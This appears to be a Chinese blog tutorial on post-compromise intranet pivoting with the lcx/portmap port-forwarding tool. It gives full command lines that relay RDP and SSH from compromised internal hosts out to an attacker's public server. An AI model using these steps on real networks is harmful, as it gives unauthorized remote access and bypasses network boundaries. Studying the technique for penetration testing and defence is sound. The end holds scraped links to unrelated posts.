[内网渗透]lcx端口转发
0x01 简介
lcx是一款端口转发工具,有三个功能:
- 第一个功能将本地端口转发到远程主机某个端口上
- 第二个功能将本地端口转发到本地另一个端口上
- 第三个功能是进行监听并进行转发使用
Lcx使用的前提是在端口转发的时候需要一台公网服务器
Lcx程序多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控制,但还是没有使用远程终端登录到本机进行管理方便,因此在很多情况下,都会想方设法在被控制计算机上开启3389端口,然后通过lcx等进行端口转发,进而在本地连接到被控制计算机的远程终端并进行管理和使用。在没有端口转发的情况下外网主机是不能直接连接内网主机的,但是lcx工具可以将内网主机(出入内网主机的需要能够ping通互联网)的某个端口抓发到外网的某个端口上面,这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面(用的最多的是3389),这样我们就可以直接远程连接反弹的端口就可以与内网主机进行通信。故内网已经打通,说实话lcx的工具如同在路由器上面做了端口转发。
0x02 Linux下lcx使用方法
linux下的工具名称为portmap
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2
1.在外网中转服务器上运行:
./portmap -m 2 -p1 6666 -h2 118.*.*.2 -p2 7777

将本地7777端口上的服务转发到6666端口上
2.内网需要转发的机器上运行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 118.*.*.2 -p2 6666
将本地22端口转发到外网机器上的6666端口
3.以上两个步骤就已经做好了端口转发,此时,我们通过连接外网服务器的7777端口就可以连接到那台内网主机的22端口

0x03 Windows下lcx使用方法
Windows下的工具名称为lcx
Usage:lcx-<listen|tran|slave> <option> [-log logfile]
-tran <等待连接的端口> <目标ip> <目标端口> (端口映射)
-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发)
-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)
1.在外网中转服务器上运行:
lcx -listen 40050 10000
监听本地40050端口,同时将数据转发到10000端口
2.内网需要转发的机器上运行:
lcx -slave 1.1.1.1 40050 10.10.0.3 3389
将本地的3389端口转发到外网1.1.1.1的40050端口上
3.此时我们通过连接外网服务器的10000端口就可以连接到那台内网主机的22端口
0x04 使用示例
Lcx有它的局限性,比如原始版本不支持linux,不免杀等等,但lcx在某些特定的场合依然发挥着重要的作用。同样基于Socket协议。
4.1 基本用法
现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用LCX进行端口转发,将内网Web主机的80端口转发到公网Web服务器的8080端口上,那么我们访问公网Web服务器的8080端口就相当于访问内网Web服务器的80端口。

公网web服务器的配置
lcx.exe -tran 8080 192.168.10.19 80 #将本地的8080端口转发到192.168.10.19的80端口
当我们访问公网服务器的8080端口时,就相当于访问内网服务器的80端口

4.2 LCX实现本地端口转发(Windows的场景)
我们现在拿到了一台主机的账号、密码和权限,现在想远程RDP连接该主机,该主机的3389端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将3389的流量转到33389端口上。

目标机的操作,将3389端口的流量转发给33389端口。
lcx.exe -tran 33389 127.0.0.1 3389
这个时候,只需要远程连接目标主机的33389端口即可。

4.3 LCX实现本地端口转发(Linux的场景)
我们现在拿到了一台主机的账号、密码和权限,现在想远程SSH连接该主机,该主机的22端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将2222的流量转到22端口上。

目标机的操作,将2222端口的流量都转发到22端口上

只需要远程连接目标主机的2222端口即可。

4.4 LCX实现SSH到内网主机(公网服务器是Windows)
现在我们有这么一个环境,我们获得了公网服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网主机的权限。拓扑图如下。

于是,我们还可以利用lcx来进行22端口的转发。
在公网windows服务器上的操作
lcx.exe -tran 2222 192.168.10.129 22
#意思就是将本地2222端口转发给192.168.10.129主机的22号端口

所以,我们ssh连接到公网服务器的2222端口即可

4.5 LCX实现SSH到内网主机(公网服务器是Linux)

首先,在VPS上进行下面操作。监听 2222 的流量,将其转发给 22222 端口。相当于正向代理
./lcx -m 2 -p1 22222 -h2 127.0.0.1 -p2 2222
#将本地2222端口的流量给本地的22222端口

在内网主机上操作,将22端口的流量转发到VPS(114.118.80.138)的22222端口。相当于反向代理
./lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 114.118.80.138 -p2 22222
#将本地22端口的流量给114.118.80.138的22222端口

我们连接VPS的2222端口,就相当于连接了内网主机的22端口。
ssh root@114.118.80.138 2222
#连接到114.118.80.138的2222端口

0x05 参考链接
https://blog.csdn.net/stonesharp/article/details/56834347
https://blog.csdn.net/l957456849/article/details/81610648
https://blog.csdn.net/wyvbboy/article/details/61921773
https://blog.csdn.net/qq_36119192/article/details/84568266#LCX实现端口转发
[内网渗透]lcx端口转发的更多相关文章
- [内网渗透] MSF路由转发/网络代理
这里只做记录,不做详解 0x01 路由转发 已经拿到一台公网服务器: 1.1 方法1 进到meterpreter的会话: route #查看路由信息 background退出当前会话,通过会话2,转发 ...
- 突破大文件上传 和内网ip的端口转发
php上传大于2M文件的解决方法 2016年12月11日 :: katelyn9 阅读数 php上传大于2M文件的解决方法 如上传一个文件大于2m往往是上传不成功的解决方法: php.ini里查找 查 ...
- 3.内网渗透之reGeorg+Proxifier
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxIAAAE2CAIAAAB6BDOVAAAgAElEQVR4Aey9Z5Aex3X327MRGVzkRH ...
- 内网渗透测试思路-FREEBUF
(在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- Metasploit 内网渗透篇
0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...
- 内网渗透 - 提权 - Windows
MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...
- Linux内网渗透
Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...
- 内网渗透 关于GPO
网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...
随机推荐
- OO第4次博客作业
OO第4次博客作业 一.第4单元设计 第四单元主要围绕UML图的结构进行JAVA代码编写,对JAVA的层次结构进行更多的认识.个人认为编程操作在实质上与上一章的PathContainer有许多的相同之 ...
- python 爬虫 user-agent 生成
有些网站做了反爬技术,如:比较初级的通过判断请求头部中的user-agent字段来检测是否通过浏览器访问的. 在爬这类网站时需要模拟user-agent import random import re ...
- Kconfig和Makefile
内核源码树的目录下都有Kconfig和Makefile.在内核配置make menuconfig时,从Kconfig中读出菜单,用户勾选后保存到.config中.在内核编译时,Makefile调用这个 ...
- [C#]DataTable转string[]
来源:https://zhidao.baidu.com/question/1754089856824824548.html string[] ary = Array.ConvertAll<Dat ...
- 如何在SAP UI5应用里添加使用摄像头拍照的功能
昨天Jerry的文章 纯JavaScript实现的调用设备摄像头并拍照的功能 介绍了纯JavaScript借助WebRTC API来开发支持调用设备的摄像头拍照的web应用.而我同事遇到的实际情况是, ...
- 限制mongoDB内存的方法
docker运行MongoDB,针对于docker容器来进行内存资源的限制 修改MongoDB的运行配置文件,并且重启mongodb storage: dbPath: /var/lib/mongodb ...
- c# IEnumerable集合
- python之set集合、深浅copy初识、join()和fromkeys() 的用法
一.set集合 特点: set集合是无序的,所以不存在索引. set集合中的每个元素都是不重复的. set集合中的每个元素都是可哈希的. 有增删改查操作: 1. 增加 add 当添加的内容重复时 ...
- [centos][yum] centos升级到特定版本
我们已知,yum upgrade命令可以将整个系统升级到最新版本. 但是很多时候,我们需要更新到指定版本,比如,当前最新的CentOS版本是7.6.1810 但是我需要更新到7.4,可以如下这样做: ...
- zabbix的psk加密结合zabbix_get取值
转载:https://www.xj123.info/7386.html 参考文档:https://www.zabbix.com/documentation/3.0/manpages/zabbix_ge ...